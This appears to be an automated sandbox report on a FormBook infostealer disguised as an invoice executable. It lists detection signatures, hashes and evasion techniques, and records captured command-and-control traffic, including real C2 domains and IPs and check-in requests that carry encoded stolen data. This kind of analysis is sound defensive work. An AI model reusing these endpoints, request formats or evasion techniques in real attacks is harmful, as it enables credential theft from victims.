Windows Analysis Report
ORIGINAL INVOICE COAU7230734290.exe

Overview

General Information

Sample name: ORIGINAL INVOICE COAU7230734290.exe
Analysis ID: 1562307
MD5: faf30d977546a3527433829420a666c5
SHA1: 5258f4d7a4422007f249a28b67320d6b9e3d978d
SHA256: 2d9b62300c1248c233aa02fa4daa6d77efed6b8c617a8b33f4e9b71590941cda
Tags: exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: ORIGINAL INVOICE COAU7230734290.exe ReversingLabs: Detection: 68%
Yara detected FormBook
Source: Yara match File source: 4.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.3408793565.0000000000D80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493193897.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493863404.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3397246670.0000000002780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2492860834.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3409182554.0000000004790000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409416368.0000000002E70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409702511.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: ORIGINAL INVOICE COAU7230734290.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: tOxaspWNamv.exe, 00000008.00000002.3405222238.0000000000F7E000.00000002.00000001.01000000.00000005.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409614358.0000000000F7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: wntdll.pdbUGP source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2165458850.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2163294510.0000000003600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2391635779.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2389578275.0000000003600000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2502109866.0000000002E7F000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2504208467.0000000003028000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.00000000031D0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.000000000336E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: srdelayed.pdbGCTL source: tOxaspWNamv.exe, 00000008.00000003.2433589740.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2165458850.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2163294510.0000000003600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000004.00000002.2493451391.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2391635779.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2389578275.0000000003600000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 0000000B.00000003.2502109866.0000000002E7F000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2504208467.0000000003028000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.00000000031D0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.000000000336E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000004.00000002.2493286869.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493265316.0000000003400000.00000004.00000020.00020000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000003.2434247222.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ktmutil.pdb source: svchost.exe, 00000004.00000002.2493286869.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493265316.0000000003400000.00000004.00000020.00020000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000003.2434247222.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: srdelayed.pdb source: tOxaspWNamv.exe, 00000008.00000003.2433589740.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D83000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412669118.00000000037FC000.00000004.10000000.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000000.2571842961.000000000268C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.000000001763C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: svchost.pdbUGP source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D83000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412669118.00000000037FC000.00000004.10000000.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000000.2571842961.000000000268C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.000000001763C000.00000004.80000000.00040000.00000000.sdmp
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00236CA9 GetFileAttributesW,FindFirstFileW,FindClose, 2_2_00236CA9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002360DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose, 2_2_002360DD
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002363F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose, 2_2_002363F9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 2_2_0023EB60
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023F56F FindFirstFileW,FindClose, 2_2_0023F56F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 2_2_0023F5FA
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 2_2_00241B2F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 2_2_00241C8A
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 2_2_00241F94
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0279C810 FindFirstFileW,FindNextFileW,FindClose, 11_2_0279C810
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 4x nop then xor eax, eax 11_2_02789F20
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 4x nop then pop edi 11_2_0278E50B
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 4x nop then mov ebx, 00000004h 11_2_02FC04DF

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49827 -> 154.216.76.80:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49827 -> 154.216.76.80:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49890 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49890 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49874 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49866 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49919 -> 203.161.49.193:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49913 -> 203.161.49.193:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49928 -> 203.161.49.193:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49928 -> 203.161.49.193:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49883 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49945 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49952 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49958 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49964 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49964 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49980 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49986 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49994 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50004 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50004 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49906 -> 203.161.49.193:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50022 -> 198.252.98.54:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50028 -> 198.252.98.54:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50029 -> 198.252.98.54:80
Performs DNS queries to domains with low reputation
Source: DNS query: www.huiguang.xyz
Source: DNS query: www.schedulemassage.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 203.161.49.193 203.161.49.193
Source: Joe Sandbox View IP Address: 3.33.130.190 3.33.130.190
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00244EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile, 2_2_00244EB5
Source: global traffic HTTP traffic detected: GET /hv6g/?Hx=ot9h&yX7=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.huiguang.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic HTTP traffic detected: GET /79tr/?yX7=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&Hx=ot9h HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic HTTP traffic detected: GET /hxmz/?Hx=ot9h&yX7=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.futurevision.lifeConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic HTTP traffic detected: GET /slxp/?yX7=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOifcAo6/043Os1binCTsQtgQiE2XfHHikdfzfjKFZR+NqLzPU/Xw=&Hx=ot9h HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.schedulemassage.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic HTTP traffic detected: GET /0598/?yX7=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM=&Hx=ot9h HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mcfunding.orgConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic DNS traffic detected: DNS query: www.huiguang.xyz
Source: global traffic DNS traffic detected: DNS query: www.beingandbecoming.ltd
Source: global traffic DNS traffic detected: DNS query: www.futurevision.life
Source: global traffic DNS traffic detected: DNS query: www.schedulemassage.xyz
Source: global traffic DNS traffic detected: DNS query: www.mcfunding.org
Source: global traffic DNS traffic detected: DNS query: www.migorengya8.click
Source: unknown HTTP traffic detected: POST /79tr/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 208Cache-Control: no-cacheOrigin: http://www.beingandbecoming.ltdReferer: http://www.beingandbecoming.ltd/79tr/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 79 58 37 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 38 74 32 63 56 55 6e 67 47 33 6d 37 43 62 68 33 39 57 50 49 52 36 32 77 2f 55 6d 4b 62 45 69 66 76 6f 5a 79 59 4b 38 48 38 56 68 6f 79 69 64 59 31 63 49 68 64 4c 41 6c 75 57 30 54 69 38 6e 55 65 58 70 51 59 62 39 4e 38 78 39 63 4b 43 4a 74 4b 59 44 50 42 6b 32 63 4d 37 79 68 34 65 55 52 36 2b 71 37 74 32 42 52 4a 48 63 50 4c 63 2f 36 73 38 34 71 6c 41 34 77 4f 6d 73 67 30 43 4a 79 51 4f 4d 63 6e 38 55 52 4d 69 52 56 4d 4f 41 44 4b 30 5a 67 57 35 2b 47 59 36 57 75 36 70 72 6d 2b 68 64 4b 79 4d 36 47 5a 72 64 34 38 62 72 4a 52 41 78 32 38 45 66 35 42 43 54 77 68 37 47 7a Data Ascii: yX7=iDQU2KTRHkQI8t2cVUngG3m7Cbh39WPIR62w/UmKbEifvoZyYK8H8VhoyidY1cIhdLAluW0Ti8nUeXpQYb9N8x9cKCJtKYDPBk2cM7yh4eUR6+q7t2BRJHcPLc/6s84qlA4wOmsg0CJyQOMcn8URMiRVMOADK0ZgW5+GY6Wu6prm+hdKyM6GZrd48brJRAx28Ef5BCTwh7Gz
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 12:45:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 12:45:38 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 12:45:40 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 